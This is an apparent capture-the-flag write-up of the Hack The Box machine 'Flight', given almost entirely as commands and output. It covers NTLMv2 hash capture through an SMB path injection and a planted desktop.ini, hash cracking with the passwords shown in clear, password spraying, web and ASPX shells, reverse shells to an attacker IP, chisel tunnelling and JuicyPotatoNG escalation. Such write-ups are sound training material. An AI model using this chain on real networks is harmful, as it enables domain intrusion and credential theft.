0xc0rvu5.github.io

View on GitHub
echo "10.10.11.187	flight.htb" | sudo tee -a /etc/hosts
sudo (which autorecon) flight.htb
feroxbuster -u http://flight.htb -n -t 5 -L 5 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -o ferox_flight_out.txt
wfuzz -c -f flight_wfuzz_out.txt -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 530 --hc 400,404 -H "Host: FUZZ.flight.htb" -t 100 flight.htb

02020:  C=200     90 L	     412 W	   3996 Ch	  "school"

image

10.10.11.187	flight.htb school.flight.htb

image

# Suspicious Activity Blocked!
sudo responder -I tun0 -dw -v 
http://school.flight.htb/index.php?view=//10.10.16.29/check
[SMB] NTLMv2-SSP Client   : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:99d2d146bb677909:B9C2F7643EE4F9EBE968A5733ECF73B0:010100000000000000F54B35CC55D901A193B678060723280000000002000800380055004D00540001001E00570049004E002D005300320046004B00560056004A005000510055004D0004003400570049004E002D005300320046004B00560056004A005000510055004D002E00380055004D0054002E004C004F00430041004C0003001400380055004D0054002E004C004F00430041004C0005001400380055004D0054002E004C004F00430041004C000700080000F54B35CC55D90106000400020000000800300030000000000000000000000000300000991A81744DE1578621A5F61ABE58F8BAAFDEB272C0FEACA81EE071790C6A27ED0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00320039000000000000000000

image

vim hash
svc_apache::flight:99d2d146bb677909:B9C2F7643EE4F9EBE968A5733ECF73B0:010100000000000000F54B35CC55D901A193B678060723280000000002000800380055004D00540001001E00570049004E002D005300320046004B00560056004A005000510055004D0004003400570049004E002D005300320046004B00560056004A005000510055004D002E00380055004D0054002E004C004F00430041004C0003001400380055004D0054002E004C004F00430041004C0005001400380055004D0054002E004C004F00430041004C000700080000F54B35CC55D90106000400020000000800300030000000000000000000000000300000991A81744DE1578621A5F61ABE58F8BAAFDEB272C0FEACA81EE071790C6A27ED0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00320039000000000000000000
hashid svc_apache::flight:99d2d146bb677909:B9C2F7643EE4F9EBE968A5733ECF73B0:010100000000000000F54B35CC55D901A193B678060723280000000002000800380055004D00540001001E00570049004E002D005300320046004B00560056004A005000510055004D0004003400570049004E002D005300320046004B00560056004A005000510055004D002E00380055004D0054002E004C004F00430041004C0003001400380055004D0054002E004C004F00430041004C0005001400380055004D0054002E004C004F00430041004C000700080000F54B35CC55D90106000400020000000800300030000000000000000000000000300000991A81744DE1578621A5F61ABE58F8BAAFDEB272C0FEACA81EE071790C6A27ED0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00320039000000000000000000
[+] NetNTLMv2

image

hashcat --help | grep NetNTLMv2

image

hashcat -m 5600 hash rockyou.txt -O

SVC_APACHE::flight:99d2d146bb677909:b9c2f7643ee4f9ebe968a5733ecf73b0:010100000000000000f54b35cc55d901a193b678060723280000000002000800380055004d00540001001e00570049004e002d005300320046004b00560056004a005000510055004d0004003400570049004e002d005300320046004b00560056004a005000510055004d002e00380055004d0054002e004c004f00430041004c0003001400380055004d0054002e004c004f00430041004c0005001400380055004d0054002e004c004f00430041004c000700080000f54b35cc55d90106000400020000000800300030000000000000000000000000300000991a81744de1578621a5f61abe58f8baafdeb272c0feaca81ee071790c6a27ed0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00320039000000000000000000:S@Ss!K@*t13

image

svc_apache:S@Ss!K@*t13
crackmapexec smb flight.htb -u svc_apache -d flight -p 'S@Ss!K@*t13'
/usr/lib/python3/dist-packages/pywerview/requester.py:144: SyntaxWarning: "is not" with a literal. Did you mean "!="?
  if result['type'] is not 'searchResEntry':
SMB         flight.htb      445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight) (signing:True) (SMBv1:False)
SMB         flight.htb      445    G0               [+] flight\svc_apache:S@Ss!K@*t13


smbmap -u svc_apache -p 'S@Ss!K@*t13' -d flight -H flight.htb              Mon 13 Mar 2023 05:07:03 PM CDT
[+] IP: flight.htb:445	Name: unknown                                           
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	Shared                                            	READ ONLY	
	SYSVOL                                            	READ ONLY	Logon server share 
	Users                                             	READ ONLY	
	Web                                               	READ ONLY	

crackmapexec smb flight.htb -u svc_apache -d flight -p 'S@Ss!K@*t13' --users

image

cat users.txt | awk -F '\\' '{print $2}' | awk '{print $1}' > final.txt

cat final.txt

O.Possum
svc_apache
V.Stevens
D.Truff
I.Francis
W.Walker
C.Bum
M.Gold
L.Kein
G.Lors
R.Cold
S.Moon
krbtgt
Guest
Administrator
crackmapexec smb flight.htb -u final.txt -p 'S@Ss!K@*t13' --continue-on-success

SMB         flight.htb      445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         flight.htb      445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13

image

smbmap -u S.Moon -p 'S@Ss!K@*t13' -d flight -H flight.htb

[+] IP: flight.htb:445	Name: unknown                                           
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	Shared                                            	READ, WRITE	
	SYSVOL                                            	READ ONLY	Logon server share 
	Users                                             	READ ONLY	
	Web                                               	READ ONLY

image

cat desktop.ini

[.ShellClassInfo]
IconFile=\\10.10.16.29\check
sudo responder -I tun0 -dw -v
smbclient //flight.htb/Shared -U 'S.Moon%S@Ss!K@*t13' -c 'put desktop.ini'

image

vim hash

c.bum::flight.htb:1d02d20872273b09:9A4A1029298E352D249F4587F766096A:0101000000000000002B92EFD155D90117AF4E19770A838D000000000200080051004C004900360001001E00570049004E002D0059004A003300410059004B0048004C0048003300390004003400570049004E002D0059004A003300410059004B0048004C004800330039002E0051004C00490036002E004C004F00430041004C000300140051004C00490036002E004C004F00430041004C000500140051004C00490036002E004C004F00430041004C0007000800002B92EFD155D90106000400020000000800300030000000000000000000000000300000991A81744DE1578621A5F61ABE58F8BAAFDEB272C0FEACA81EE071790C6A27ED0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00320039000000000000000000

hashcat -m 5600 hash rockyou.txt -O

C.BUM::flight.htb:1d02d20872273b09:9a4a1029298e352d249f4587f766096a:0101000000000000002b92efd155d90117af4e19770a838d000000000200080051004c004900360001001e00570049004e002d0059004a003300410059004b0048004c0048003300390004003400570049004e002d0059004a003300410059004b0048004c004800330039002e0051004c00490036002e004c004f00430041004c000300140051004c00490036002e004c004f00430041004c000500140051004c00490036002e004c004f00430041004c0007000800002b92efd155d90106000400020000000800300030000000000000000000000000300000991a81744de1578621a5f61abe58f8baafdeb272c0feaca81ee071790c6a27ed0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00320039000000000000000000:Tikkycoll_431012284

image

C.Bum:Tikkycoll_431012284
smbmap -u C.Bum -p 'Tikkycoll_431012284' -d flight -H flight.htb

[+] IP: flight.htb:445	Name: unknown                                           
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	Shared                                            	READ, WRITE	
	SYSVOL                                            	READ ONLY	Logon server share 
	Users                                             	READ ONLY	
	Web                                               	READ, WRITE

image

image

https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php
smbclient //flight.htb/Web -U 'C.Bum%Tikkycoll_431012284'
cd school.flight.htb
put shell.php
http://school.flight.htb/shell.php
wget https://github.com/antonioCoco/RunasCs/releases/download/v1.4/RunasCs.zip
unzip RunasCs.zip
cp RunasCs.exe levelUp.exe
put levelUp.exe
nc -lvnp 4443

Within the browser:

levelUp.exe C.Bum Tikkycoll_431012284 powershell -r 10.10.16.29:4443

image

get-childitem -path C:\Users -include *.txt* -File -Recurse -ErrorAction SilentlyContinue


    Directory: C:\Users\C.Bum\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        3/13/2023   1:41 PM             34 user.txt  
type C:\Users\C.Bum\Desktop\user.txt

**********************************

image

netstat -at | select-object -first 25

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             g0:0                   LISTENING
  TCP    0.0.0.0:88             g0:0                   LISTENING
  TCP    0.0.0.0:135            g0:0                   LISTENING
  TCP    0.0.0.0:389            g0:0                   LISTENING
  TCP    0.0.0.0:443            g0:0                   LISTENING
  TCP    0.0.0.0:445            g0:0                   LISTENING
  TCP    0.0.0.0:464            g0:0                   LISTENING
  TCP    0.0.0.0:593            g0:0                   LISTENING
  TCP    0.0.0.0:636            g0:0                   LISTENING
  TCP    0.0.0.0:3268           g0:0                   LISTENING
  TCP    0.0.0.0:3269           g0:0                   LISTENING
  TCP    0.0.0.0:5985           g0:0                   LISTENING
  TCP    0.0.0.0:8000           g0:0                   LISTENING
  TCP    0.0.0.0:9389           g0:0                   LISTENING
  TCP    0.0.0.0:47001          g0:0                   LISTENING
  TCP    0.0.0.0:49664          g0:0                   LISTENING
  TCP    0.0.0.0:49665          g0:0                   LISTENING
  TCP    0.0.0.0:49666          g0:0                   LISTENING
  TCP    0.0.0.0:49667          g0:0                   LISTENING
  TCP    0.0.0.0:49673          g0:0                   LISTENING
  TCP    0.0.0.0:49674          g0:0                   LISTENING
svc_apache:S@Ss!K@*t13
C.Bum:Tikkycoll_431012284
wget https://github.com/jpillora/chisel/releases/download/v1.7.3/chisel_1.7.3_windows_amd64.gz
gunzip chisel_1.7.3_windows_amd64.gz
mv chisel_1.7.3_windows_amd64 chisel.exe
python -m http.server 80
cd C:\inetpub\development
wget -O chisel.exe 10.10.16.29/chisel.exe
./chisel server --reverse -p 10015
.\chisel.exe client 10.10.16.29:10015 R:8000:127.0.0.1:8000
wget https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx

cat shell.aspx | head -15

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<script runat="server">
//Original shell post: https://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/
//Download link: https://www.darknet.org.uk/content/files/InsomniaShell.zip
    
	protected void Page_Load(object sender, EventArgs e)
    {
	    String host = "10.10.16.29"; //CHANGE THIS
            int port = 1234; ////CHANGE THIS

smbclient //flight.htb/Web -U 'C.Bum%Tikkycoll_431012284'
cd school.flight.htb
put shell.php
put levelUp.exe
http://school.flight.htb/shell.php
nc -lvnp 4444

Within the browser:

levelUp.exe C.Bum Tikkycoll_431012284 powershell -r 10.10.16.29:4444
python -m http.server 80
cd C:\inetpub\development
wget -O shell.aspx 10.10.16.29:80/shell.aspx
nc -lvnp 1234
http://127.0.0.1:8000/shell.aspx
PS C:\windows\system32\inetsrv> whoami /priv 
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

image

wget https://github.com/antonioCoco/JuicyPotatoNG/releases/download/v1.1/JuicyPotatoNG.zip
unzip JuicyPotatoNG.zip
rm JuicyPotatoNG.zip
cp /usr/share/windows-resources/binaries/nc.exe .
python -m http.server 80
nc -lvnp 2222
cd C:\Users\Public\Downloads
wget -O JuicyPotatoNG.exe 10.10.16.29/JuicyPotatoNG.exe
wget -O nc.exe 10.10.16.29/nc.exe
.\JuicyPotatoNG.exe -t * -p nc.exe -a '10.10.16.29 2222 -e powershell.exe'
get-childitem -path C:\Users -include *.txt* -File -Recurse -ErrorAction SilentlyContinue
type C:\Users\C.Bum\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt
type C:\Users\C.Bum\Desktop\user.txt

*********************************

type C:\Users\Administrator\Desktop\root.txt

*********************************

image

#hacking